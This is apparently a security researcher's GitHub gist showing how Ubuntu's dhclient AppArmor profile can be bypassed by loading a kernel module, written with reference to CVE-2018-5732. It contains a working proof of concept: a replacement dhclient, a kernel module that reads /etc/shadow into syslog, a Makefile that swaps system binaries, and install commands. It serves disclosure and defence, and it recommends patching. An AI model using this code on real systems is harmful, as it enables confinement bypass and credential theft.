Skip to content

Instantly share code, notes, and snippets.

@sirdarckcat
Last active March 26, 2018 22:25
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save sirdarckcat/fe8ce94ef25de375d13b7681d851b7b4 to your computer and use it in GitHub Desktop.
Save sirdarckcat/fe8ce94ef25de375d13b7681d851b7b4 to your computer and use it in GitHub Desktop.
/sbin/dhclient Ubuntu AppArmor profile bypass

/sbin/dhclient Ubuntu AppArmor profile bypass

This document explains how to bypass the /sbin/dhclient AppArmor profile installed in Ubuntu by installing a kernel module. This is a simple task, but I didn't know how to do it before today. Hopefully you find this useful.

Tested on 17.10.1 using the isc-dhcp 4.3.5-3ubuntu2.2 package.

Background

In this advisory, Ubuntu says that the vulnerability CVE-2018-5732 is mitigated by the dhclient AppArmor profile. This is interesting because in this case the bug is a remote RCE on Ubuntu, and the claim this is mitigated might make people think the update can wait if they use AppArmor (enabled by default in 17.10, and available since 7.04).

However, looking at the AppArmor profile installed by default in Ubuntu, a few things caught my eye:

  1. It allows unconfined execution of /etc/dhcp/dhclient-script and /sbin/dhclient-script
  2. It has capability sys_module.

I spent some time looking at the default /sbin/dhclient-script and noticed it clears some environment variables, but I didn't see it clearing LD_PRELOAD. Turns out that Ux actually cleans the environment from LD_PRELOAD and LD_LIBRARY_PATH, but it doesn't clean PATH, ENV, etc.., so the script has to do it manually. This behavior is described in Ubuntu's AppArmor security review but I couldn't find any other obvious bypass using bash (read more). Note that this does not mean this is safe. You can probably find a way to bypass it.

Then I started looking at capability sys_module, and I wasn't sure why it was there, as it seems like net_admin should have been sufficient to load any network modules. So, I decided to learn how to write kernel modules, and load them, to see if I had misunderstood the AppArmor policy, but as expected, it let's you load any module you want with root privileges.

Testing

In order to test this, just download this gist, unzip it, and run make all and then sudo make install.

This will replace your local dhclient with another version that just loads a kernel module. To test this, you can try to re-connect your internet, or just run sudo dhclient and wait (note that it will fail to execute because our version of dhclient doesn't actually do anything). Once it's done, run sudo make uninstall to make everything go back to normal.

If all worked as expected, you should be able to see /var/log/syslog with the contents of the first 100 characters of /etc/shadow:

Mar 11 15:40:40 instance-2 kernel: [  158.100667] [EVIL] loaded.
Mar 11 15:40:49 instance-2 kernel: [  167.132990] [EVIL] /etc/shadow root:*:17593:0:99999:7:::
Mar 11 15:40:49 instance-2 kernel: [  167.132990] daemon:*:17593:0:99999:7:::
Mar 11 15:40:49 instance-2 kernel: [  167.132990] bin:*:17593:0:99999:7:::
Mar 11 15:40:49 instance-2 kernel: [  167.132990] sys:*:17593:0:99999:

The reason you need sudo to run these commands is because rather than exploiting the vulnerability, we are just replacing the dhclient binary with our own. A real exploit would obviously already be running as root, and wouldn't need to write any files to /etc/dhcp, and rather it would just put the module directly in memory.

FAQ

How do I do this?

sudo apt-get install unzip build-essential linux-headers-$(uname -r)
wget https://gist.github.com/sirdarckcat/fe8ce94ef25de375d13b7681d851b7b4/archive/master.zip
unzip master.zip
cd fe8ce94ef25de375d13b7681d851b7b4-master
make all
sudo make install
sudo dhclient
sudo make uninstall
make clean
tail /var/log/syslog

What should I do now?

Upgrade your isc-dhcp-client package to the latest version, which fixes the vulnerability found by Felix Wilhelm. You could also replace the AppArmor profile with this one (untested, use at your own risk!).

Why is capability sys_module there?

It might be because dhclient tries to load a module. Other policies do not include it, so it seems fine to remove it. Note, however that there are other ways to bypass the policy.

Was this reported to ISC?

The AppArmor policy in the isc-dhcp-client package is not maintained by ISC, it is maintained by Ubuntu, so it was reported to them. Note that this is not the only way to bypass the policy.

Why evil.c reads files weirdly?

The code to read files in evil.c runs as a kernel module, so it is not meant to make any syscalls, so it reads the filesystem directly.

Why this doesn't work on my computer?

Because you probably forgot to run sudo dhclient after installing it. Make sure to run sudo make uninstall after or your computer will be left without internet for ever.

#include <sys/syscall.h>
#include <unistd.h>
#include <fcntl.h>
#define fsize 1024*1024
int main() {
char buff[fsize];
read(open("/etc/dhcp/evil.ko", O_RDONLY), buff, fsize);
return syscall(__NR_init_module, buff, fsize, "");
}
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
// We want to read files
#include <linux/fs.h>
#include <asm/segment.h>
#include <asm/uaccess.h>
#include <linux/buffer_head.h>
static int __init evil_init(void)
{
printk(KERN_INFO "[EVIL] loaded.\n");
return 0;
}
static void __exit evil_exit(void)
{
char shadow[100];
mm_segment_t oldfs;
unsigned long long offset = 0;
struct file *filp = NULL;
oldfs = get_fs();
set_fs(get_ds());
filp = filp_open("/etc/shadow", 0, 0);
if (IS_ERR(filp)) {
printk(KERN_INFO "[EVIL] Error: %ld\n", PTR_ERR(filp));
} else {
vfs_read(filp, shadow, 99, &offset);
filp_close(filp, NULL);
shadow[99]=0;
printk(KERN_INFO "[EVIL] /etc/shadow %s\n", shadow);
}
set_fs(oldfs);
}
module_init(evil_init);
module_exit(evil_exit);
obj-m += evil.o
all: dhclient module
dhclient:
gcc -o dhclient dhclient.c
module:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
rm -f dhclient
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
install:
cp -n /sbin/dhclient /sbin/dhclient.backup
install dhclient /sbin
install evil.ko /etc/dhcp/
uninstall:
cp -f /sbin/dhclient.backup /sbin/dhclient
rm -f /etc/dhcp/evil.ko
rmmod evil
@setharnold
Copy link

This is cool, thanks.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment